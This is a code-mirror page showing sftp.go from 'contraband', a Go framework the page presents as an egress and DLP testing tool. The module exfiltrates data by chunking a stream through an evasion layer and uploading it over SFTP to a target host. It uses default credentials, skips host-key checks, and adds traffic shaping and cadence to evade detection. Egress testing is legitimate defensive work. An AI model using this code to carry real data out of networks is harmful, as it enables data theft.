● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / file / sftp.go
← Back to directory
227 lines · 6.1 KB
Raw
1package file
2
3import (
4 "bytes"
5 "context"
6 "crypto/sha256"
7 "encoding/hex"
8 "fmt"
9 "io"
10 "net"
11 "strconv"
12 "time"
13
14 "github.com/pkg/sftp"
15 "github.com/shehzade/contraband/pkg/client/evasion"
16 "github.com/shehzade/contraband/pkg/client/exfil"
17 "github.com/shehzade/contraband/pkg/common"
18 "golang.org/x/crypto/ssh"
19)
20
21// SFTPExfiltrator implements SFTP SSH-2 subsystem file exfiltration.
22type SFTPExfiltrator struct{}
23
24func NewSFTPExfiltrator() *SFTPExfiltrator {
25 return &SFTPExfiltrator{}
26}
27
28func init() {
29 exfil.RegisterExfiltrator(common.ProtoSFTP, NewSFTPExfiltrator())
30}
31
32func (e *SFTPExfiltrator) Protocol() string {
33 return common.ProtoSFTP
34}
35
36func (e *SFTPExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
37 if err := opts.Validate(); err != nil {
38 return nil, err
39 }
40
41 start := time.Now().UTC()
42 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
43 if err != nil {
44 return nil, err
45 }
46 result.Timestamps.StartTCP = start
47 result.PayloadType = opts.PayloadType
48 result.CarrierType = opts.CarrierType
49
50 if opts.TotalBytes <= 0 {
51 if br, ok := reader.(*bytes.Reader); ok {
52 opts.TotalBytes = int64(br.Len())
53 } else if bb, ok := reader.(*bytes.Buffer); ok {
54 opts.TotalBytes = int64(bb.Len())
55 }
56 }
57
58 if opts.ExpectedHash == "" {
59 if br, ok := reader.(*bytes.Reader); ok {
60 cur, _ := br.Seek(0, io.SeekCurrent)
61 h := sha256.New()
62 _, _ = io.Copy(h, br)
63 opts.ExpectedHash = hex.EncodeToString(h.Sum(nil))
64 _, _ = br.Seek(cur, io.SeekStart)
65 }
66 }
67 result.PayloadHash = opts.ExpectedHash
68
69 if opts.SessionToken.IsZero() {
70 tok, tokErr := common.NewSessionToken()
71 if tokErr != nil {
72 return nil, tokErr
73 }
74 opts.SessionToken = tok
75 }
76
77 chunker, err := evasion.NewStreamChunker(reader, opts.SessionToken, opts.ChunkSize, opts.TotalBytes)
78 if err != nil {
79 return nil, fmt.Errorf("failed to initialize chunk streamer: %w", err)
80 }
81 defer chunker.Close()
82 result.TargetVolume = opts.TotalBytes
83
84 username := opts.Headers["username"]
85 if username == "" {
86 username = "contraband"
87 }
88 password := opts.Headers["password"]
89 if password == "" {
90 password = "contraband"
91 }
92
93 targetAddr := net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort))
94 sshConfig := &ssh.ClientConfig{
95 User: username,
96 Auth: []ssh.AuthMethod{ssh.Password(password)},
97 HostKeyCallback: ssh.InsecureIgnoreHostKey(),
98 Timeout: opts.Timeout,
99 }
100
101 var sshConn *ssh.Client
102 if opts.ProxyDialer != nil {
103 rawConn, dialErr := opts.ProxyDialer.DialContext(ctx, "tcp", targetAddr)
104 if dialErr != nil {
105 result.Verdict = classifyError(dialErr)
106 result.ErrorMessage = dialErr.Error()
107 calculateDurations(&result)
108 return &result, dialErr
109 }
110 c, chans, reqs, connErr := ssh.NewClientConn(rawConn, targetAddr, sshConfig)
111 if connErr != nil {
112 rawConn.Close()
113 result.Verdict = classifyError(connErr)
114 result.ErrorMessage = connErr.Error()
115 calculateDurations(&result)
116 return &result, connErr
117 }
118 sshConn = ssh.NewClient(c, chans, reqs)
119 } else {
120 client, dialErr := ssh.Dial("tcp", targetAddr, sshConfig)
121 if dialErr != nil {
122 result.Verdict = classifyError(dialErr)
123 result.ErrorMessage = dialErr.Error()
124 calculateDurations(&result)
125 return &result, dialErr
126 }
127 sshConn = client
128 }
129 defer sshConn.Close()
130
131 result.Timestamps.ConnectedTCP = time.Now().UTC()
132 result.Timestamps.HandshakeTLS = time.Now().UTC()
133
134 sftpClient, sftpErr := sftp.NewClient(sshConn)
135 if sftpErr != nil {
136 result.Verdict = classifyError(sftpErr)
137 result.ErrorMessage = fmt.Sprintf("failed to initialize sftp subsystem client: %v", sftpErr)
138 calculateDurations(&result)
139 return &result, sftpErr
140 }
141 defer sftpClient.Close()
142
143 result.Timestamps.FirstByteSent = time.Now().UTC()
144
145 var headEvidence []byte
146 for {
147 chunkFrame, seq, err := chunker.Next()
148 if err == io.EOF {
149 break
150 }
151 if err != nil {
152 result.Verdict = classifyError(err)
153 result.ErrorMessage = err.Error()
154 calculateDurations(&result)
155 return &result, err
156 }
157
158 if len(headEvidence) < 768 && len(chunkFrame) > common.ChunkHeaderSize {
159 p := chunkFrame[common.ChunkHeaderSize:]
160 needed := 768 - len(headEvidence)
161 if needed > len(p) {
162 needed = len(p)
163 }
164 headEvidence = append(headEvidence, p[:needed]...)
165 }
166
167 remotePath := fmt.Sprintf("/upload/chunk_%s_%d.dat", opts.SessionToken.String(), seq)
168
169 f, createErr := sftpClient.Create(remotePath)
170 if createErr != nil {
171 result.Verdict = classifyError(createErr)
172 result.ErrorMessage = fmt.Sprintf("SFTP Create failed for chunk %d: %v", seq, createErr)
173 calculateDurations(&result)
174 return &result, createErr
175 }
176
177 if _, writeErr := f.Write(chunkFrame); writeErr != nil {
178 _ = f.Close()
179 result.Verdict = classifyError(writeErr)
180 result.ErrorMessage = fmt.Sprintf("SFTP Write failed for chunk %d: %v", seq, writeErr)
181 calculateDurations(&result)
182 return &result, writeErr
183 }
184
185 if closeErr := f.Close(); closeErr != nil {
186 result.Verdict = classifyError(closeErr)
187 result.ErrorMessage = fmt.Sprintf("SFTP file close failed for chunk %d: %v", seq, closeErr)
188 calculateDurations(&result)
189 return &result, closeErr
190 }
191
192 result.BytesSent += int64(len(chunkFrame))
193
194 if opts.Shaper != nil {
195 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
196 result.Verdict = classifyError(err)
197 result.ErrorMessage = err.Error()
198 calculateDurations(&result)
199 return &result, err
200 }
201 }
202 if opts.Cadence != nil {
203 delay := opts.Cadence.NextDelay()
204 if delay > 0 {
205 select {
206 case <-time.After(delay):
207 case <-ctx.Done():
208 result.Verdict = classifyError(ctx.Err())
209 result.ErrorMessage = ctx.Err().Error()
210 calculateDurations(&result)
211 return &result, ctx.Err()
212 }
213 }
214 }
215 }
216
217 result.Timestamps.AckReceived = time.Now().UTC()
218 result.Timestamps.TeardownDone = time.Now().UTC()
219 result.Verdict = common.VerdictSuccess
220 result.RawEvidence = common.FormatBoundedRawEvidence(headEvidence)
221 if result.PayloadHash == "" {
222 result.PayloadHash = chunker.PayloadHashHex()
223 }
224
225 calculateDurations(&result)
226 return &result, nil
227}